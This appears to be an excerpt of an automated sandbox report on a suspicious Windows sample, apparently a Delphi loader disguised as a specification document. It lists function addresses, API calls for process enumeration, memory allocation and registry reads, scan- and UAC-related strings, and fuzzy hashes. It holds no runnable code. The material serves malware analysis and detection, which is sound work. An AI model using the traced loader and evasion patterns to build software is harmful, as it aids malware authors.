Opcode Fuzzy Hash: 4e0bdf45087dab059f2b43c07530d6ccf453655273aaf018fb19cf4029e4e1cc
Instruction Fuzzy Hash: 15B1D2B4A116089FDB14CF99E480ADDFBF6FF89324F158569E805AB360DB31A845CF50

Function 0298E6F0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 0298E711

Part of subcall function 0298E2F4: VariantClear.OLEAUT32(?), ref: 0298E303

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: d4a06811f5c83fe51b291c3d982e1e1491eb83a3dc3d4756e85ab29040a22950
Instruction ID: 98f56042a955eab6be000c99db4f4db427733a47dd7a170d703c492eb5985e4b
Opcode Fuzzy Hash: d4a06811f5c83fe51b291c3d982e1e1491eb83a3dc3d4756e85ab29040a22950
Instruction Fuzzy Hash: 5B118E2070021097CB34BF79C8E4A6A6BDAAF85710B1C4866F68E9B255EB34CC41CA62

Function 0298E38C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0298E3CC

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: ce3faeb2d05742fd514b7fcaa92a58d7e596463218f44db388b90a4143bb1de8
Instruction ID: 549a0124de2967c0534303d617c7a67ab85a9e62fa892cfaa577cd39866c8389
Opcode Fuzzy Hash: ce3faeb2d05742fd514b7fcaa92a58d7e596463218f44db388b90a4143bb1de8
Instruction Fuzzy Hash: 37314F71A04218ABDB50FFA8D898AAA77ACEB4D314F584861F94DD3280D334ED50CB61

Function 029DF14D Relevance: 1.5, APIs: 1, Instructions: 47libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0000C087,?,?,?,00000000,029DF0C7,?,?,?,?,?), ref: 029DF160

Memory Dump Source

Source File: 00000000.00000002.1338265139.00000000029DF000.00000040.00001000.00020000.00000000.sdmp, Offset: 029DF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29df000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4de58a5fadcc9b5f57351689ab0bdeeaf374be54e4febec57efd0a0d01bbac60
Instruction ID: 77f7a43f0b6522e2cab20e09586fbfba9088ee1d5d6631c6b6d775dc6b9bfccc
Opcode Fuzzy Hash: 4de58a5fadcc9b5f57351689ab0bdeeaf374be54e4febec57efd0a0d01bbac60
Instruction Fuzzy Hash: 32F0A476604317DBEB108E55CC5667773ECEE9136970A8828E847EBA01E725E805E7A0

Function 02996CFC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02996D49,?,?,?,00000000), ref: 02996D29

Part of subcall function 02984C0C: SysFreeString.OLEAUT32(0299D680), ref: 02984C1A

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 7e1318ad9472b452fabf68c7696f137e8d27243566130fb120f19fa6e0c4db50
Instruction ID: 77e2b6c0e40fdaef9c7da33b63faf6afa5d817e19ffcc2382ea382ff8f7dd928
Opcode Fuzzy Hash: 7e1318ad9472b452fabf68c7696f137e8d27243566130fb120f19fa6e0c4db50
Instruction Fuzzy Hash: BFE06D35604308BBEB15FAAACC5199A7BEDDFCAB20B514471A900D3650EA75AE0098A0

Function 02985814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02980000,?,00000105), ref: 02985832

Part of subcall function 02985A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02980000,029AB790), ref: 02985A94
Part of subcall function 02985A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AB2
Part of subcall function 02985A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02980000,029AB790), ref: 02985AD0
Part of subcall function 02985A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02985AEE
Part of subcall function 02985A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02985B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02985B37
Part of subcall function 02985A78: RegQueryValueExA.ADVAPI32(?,02985CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02985B7D,?,80000001), ref: 02985B55
Part of subcall function 02985A78: RegCloseKey.ADVAPI32(?,02985B84,00000000,?,?,00000000,02985B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02985B77

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: 2fd8d6da8630a9144d9adb226538a5efcd6cccab81c31ba52ddb8e6ccc76cbaf
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: B1E06D71A002148BCB10EE5888C0A5637D8AB08750F4A0565EC58DF34AD370DD148BD0

Function 02987DA4 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02987DB8

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction ID: b97dcf7e315749c58c63e9ecca67bfbc0375da287b1997dc7b1d0bec4cf8041a
Opcode Fuzzy Hash: 736f4f92db52b42fc2a1391f4de21fa5b41205fd5f72813ecabc44a8b4ec614d
Instruction Fuzzy Hash: E4D05B763082107AD220A55A6C84EFB9BDCCFC5770F144639F658C7180E7608C01C771

Function 0299A194 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 02999EF8: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0299A17F,?,?,0299A211,00000000,0299A2ED), ref: 02999F0C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02999F24
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02999F36
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02999F48
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02999F5A
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02999F6C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02999F7E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02999F90
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02999FA2
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02999FB4
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02999FC6
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02999FD8
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02999FEA
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02999FFC
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0299A00E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0299A020
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0299A032

Process32First.KERNEL32(?,00000128), ref: 0299A1A5

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressProc$FirstHandleModuleProcess32
String ID:
API String ID: 2774106396-0
Opcode ID: 496ab0227d67b3f8f2eb7e0cfeef1ba7644353cebb2788ff5cbddc549ed02bc8
Instruction ID: c989b2cc5a20cad747c310a838fd6a933388fea93ad46b982c2e385dcbb78506
Opcode Fuzzy Hash: 496ab0227d67b3f8f2eb7e0cfeef1ba7644353cebb2788ff5cbddc549ed02bc8
Instruction Fuzzy Hash: 90C08CB36426341BAE2066FC2FC88D3978DCD8B1BB30408A3F509D3142D3258C10AAA0

Function 0299A1B4 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 02999EF8: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0299A17F,?,?,0299A211,00000000,0299A2ED), ref: 02999F0C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02999F24
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02999F36
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02999F48
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02999F5A
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02999F6C
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02999F7E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32First), ref: 02999F90
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02999FA2
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02999FB4
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02999FC6
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02999FD8
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02999FEA
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32First), ref: 02999FFC
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0299A00E
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0299A020
Part of subcall function 02999EF8: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0299A032

Process32Next.KERNEL32(?,00000128), ref: 0299A1C5

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModuleNextProcess32
String ID:
API String ID: 2237597116-0
Opcode ID: 9e3f6e52fc7b7febf8a6bb0bb87ee47e3c560e41270f93bf8e155e8fa8a014de
Instruction ID: 0df12f92e3a4cdbfc7f520641c6b5e38b5bf807b21324d70d958aa19396d8fc9
Opcode Fuzzy Hash: 9e3f6e52fc7b7febf8a6bb0bb87ee47e3c560e41270f93bf8e155e8fa8a014de
Instruction Fuzzy Hash: DCC08073602524179F1066FC2EC44D3574DCD491B73040C63B519D3101D3154C10D590

Function 02987E20 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0299E793,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanString,029D7358,029A8D7C,UacScan,029D7358,029A8D7C,UacInitialize), ref: 02987E2B

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction ID: 596a4291452e0332eae7ee43ab46ea7c8e48f63c7ec4e99e2c3a2ae86eca1247
Opcode Fuzzy Hash: 81e72d02e34d49699fbcea4f3e8a1facf21165fd85f6b10d0c15ae5a9543b4f5
Instruction Fuzzy Hash: B2C08CA62022020A1E60B5FC0CC409A42CC098413837C1F29A0B8DE2E3D32288222870

Function 02987E44 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,029A1920,ScanString,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,ScanBuffer,029D7358,029A8D7C,OpenSession,029D7358,029A8D7C,Initialize), ref: 02987E4F

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f224b653ec22911d66b4e12bae26b762512d9a06ebf858662df5de79d6ddce78
Instruction ID: 2222901bbff392444782c6299c9d4dc8763a9fcf57482da0a571502800839dc5
Opcode Fuzzy Hash: f224b653ec22911d66b4e12bae26b762512d9a06ebf858662df5de79d6ddce78
Instruction Fuzzy Hash: 8EC08CA62022000E1E60F1FC4CC059A42CC098553837C2F21E0A9DA2E3D32288522810

Function 02984C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02984C37

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction ID: 1ec470d30e98d0caea14b9196eb568acb326d182cc8ace9c735c21974f851a2f
Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction Fuzzy Hash: AFC012B260033547EB216A989CC079662CCDF452A5F1C10A1D508D7240E3609C004B65

Function 02984C48 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(0299D680), ref: 02984C1A
SysReAllocStringLen.OLEAUT32(029A9B3C,0299D680,000000B4), ref: 02984C62

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction ID: 2ad5c57609bfabdbc6b3abf92376b56f4dbe3dc0d2d4504af2e6605accce497e
Opcode Fuzzy Hash: 34a044716cc047832c89a5cdbf8a1cf543af0314eed8eb6eb3cc9569b15b6366
Instruction Fuzzy Hash: 65D080745001035DAF2CBA554944AB777AE9DD020634CE65DD902CE240F721C801CA31

Function 029A9858 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,029A984C,00000000,00000001), ref: 029A9868

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: e8b63d50ecef12d9556c278b3f3bce2b8f2e7949782cf0a95caa7ff12e037266
Instruction ID: 9197b2ce9bb2879890cd21d888c7bc0e4093d5da0f4bba489d66a33abcf2eb8c
Opcode Fuzzy Hash: e8b63d50ecef12d9556c278b3f3bce2b8f2e7949782cf0a95caa7ff12e037266
Instruction Fuzzy Hash: 93C092F07953403EFA10B6A96CD2FB3699DEB84B00F100422B600EE2C3E5E248509E60

Function 02984BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02984BEB

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: 7b93f826b1f4703741da9eaef866fd0c81bc7768ec3fb3a1a209e47e9e495387
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: E6B0123C64820358FB5033610D00F7A00CC0F902C7F8C20959E28C80C0FF00C4018833

Function 02984BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02984C03

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: 80b04a7ab5ac186b2a27d509d96c5b063dd06cd5e42aa6498e0b15ce38233bc2
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: 47A022AC0003030ACF0B332E000002A20BF3FE03003CEC0E802008A0008F3A8000AE30

Function 029815CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02981A03,?,02982000), ref: 029815E2

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6d9ff02c8b863b45e5b6074b9c177880f6e408d3bed93eb027b5b321be6f2f7
Instruction ID: a340b22a850b2ad320312c6e12d173257ec624a41b1352de63ffdcbfb3dc9fa1
Opcode Fuzzy Hash: e6d9ff02c8b863b45e5b6074b9c177880f6e408d3bed93eb027b5b321be6f2f7
Instruction Fuzzy Hash: EFF049F0B463004FDB09DFB99A803117BE6E78A344F148579D609DB388E77184429F00

Function 02981682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02982000), ref: 029816A4

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b14afdbafe8d72a55af21424f4dafff29b2d1ce769e23b7f39bfcbaadf2a4207
Instruction ID: 17ef8bfbdf19439b3c20df1d54780de6caf017666dc6bf584b5a0e5e48850a2f
Opcode Fuzzy Hash: b14afdbafe8d72a55af21424f4dafff29b2d1ce769e23b7f39bfcbaadf2a4207
Instruction Fuzzy Hash: B8F0B4B2B457996BD7109F5EAC80792BB98FB40314F054139F94CD7340D770A8518B94

Function 029816E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02981704

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: bca122f2631e3993f14be9634c51fc80b08a124397e2eaa00034da1861fde48d
Instruction ID: 69b3abb09badf25878d96871f5c87caddbb192c878394ac80575d963e8fea21b
Opcode Fuzzy Hash: bca122f2631e3993f14be9634c51fc80b08a124397e2eaa00034da1861fde48d
Instruction Fuzzy Hash: 1DE0CD75300301AFD7106F7D5D407527BDCEF84654F1C4879F549DB241D260E8118B64

Non-executed Functions

Function 02999EF8 Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,0299A17F,?,?,0299A211,00000000,0299A2ED), ref: 02999F0C
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02999F24
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02999F36
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02999F48
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02999F5A
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02999F6C
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02999F7E
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02999F90
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02999FA2
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02999FB4
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02999FC6
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02999FD8
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02999FEA
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02999FFC
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0299A00E
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0299A020
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0299A032

Strings

Process32First, xrefs: 02999F88
Process32Next, xrefs: 02999F9A
Module32FirstW, xrefs: 0299A018
Module32First, xrefs: 02999FF4
Heap32First, xrefs: 02999F52
Thread32Next, xrefs: 02999FE2
Module32Next, xrefs: 0299A006
kernel32.dll, xrefs: 02999F07
CreateToolhelp32Snapshot, xrefs: 02999F1C
Heap32ListNext, xrefs: 02999F40
Heap32ListFirst, xrefs: 02999F2E
Heap32Next, xrefs: 02999F64
Toolhelp32ReadProcessMemory, xrefs: 02999F76
Process32FirstW, xrefs: 02999FAC
Thread32First, xrefs: 02999FD0
Process32NextW, xrefs: 02999FBE
Module32NextW, xrefs: 0299A02A

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 30a051de223c3fca1af3f684ceb5da9762363595ae4ee0c5b9e2797f1a5dc987
Instruction ID: d2231c72ebc83506ffff230abe71e8245e4f8b4fe5879e6df76cbc45999a2061
Opcode Fuzzy Hash: 30a051de223c3fca1af3f684ceb5da9762363595ae4ee0c5b9e2797f1a5dc987
Instruction Fuzzy Hash: AC3128B0E85350EFEF10EFF8D88AA6677ADEB8A710B040965A414CF244D679D890DF52

Function 029858B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02986BD8,02980000,029AB790), ref: 029858D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 029858E8
lstrcpynA.KERNEL32(?,?,?), ref: 02985918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 0298597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000,029AB790), ref: 029859E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8,02980000), ref: 02985A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02986BD8), ref: 02985A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02985A45

Strings

kernel32.dll, xrefs: 029858CC
\, xrefs: 029859F5
GetLongPathNameA, xrefs: 029858DF

Memory Dump Source

Source File: 00000000.00000002.1338265139.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 2896edd83e4979fa46b169b4942cc27a277d6653109ee5c3ab657636e6d943b4
Instruction ID: 7084db0e54cabd6bb7f140dc1165b7df4254e2f5a0a219d1a5e3d8743d6749eb
Opcode Fuzzy Hash: 2896edd83e4979fa46b169b4942cc27a277d6653109ee5c3ab657636e6d943b4
Instruction Fuzzy Hash: 6B416D71D00259AFDF10EAE8CCC8AEEB3BDAB48350F4A45A5A158E7241E770DE49CF54

Function 02985B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02985B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02985BA1
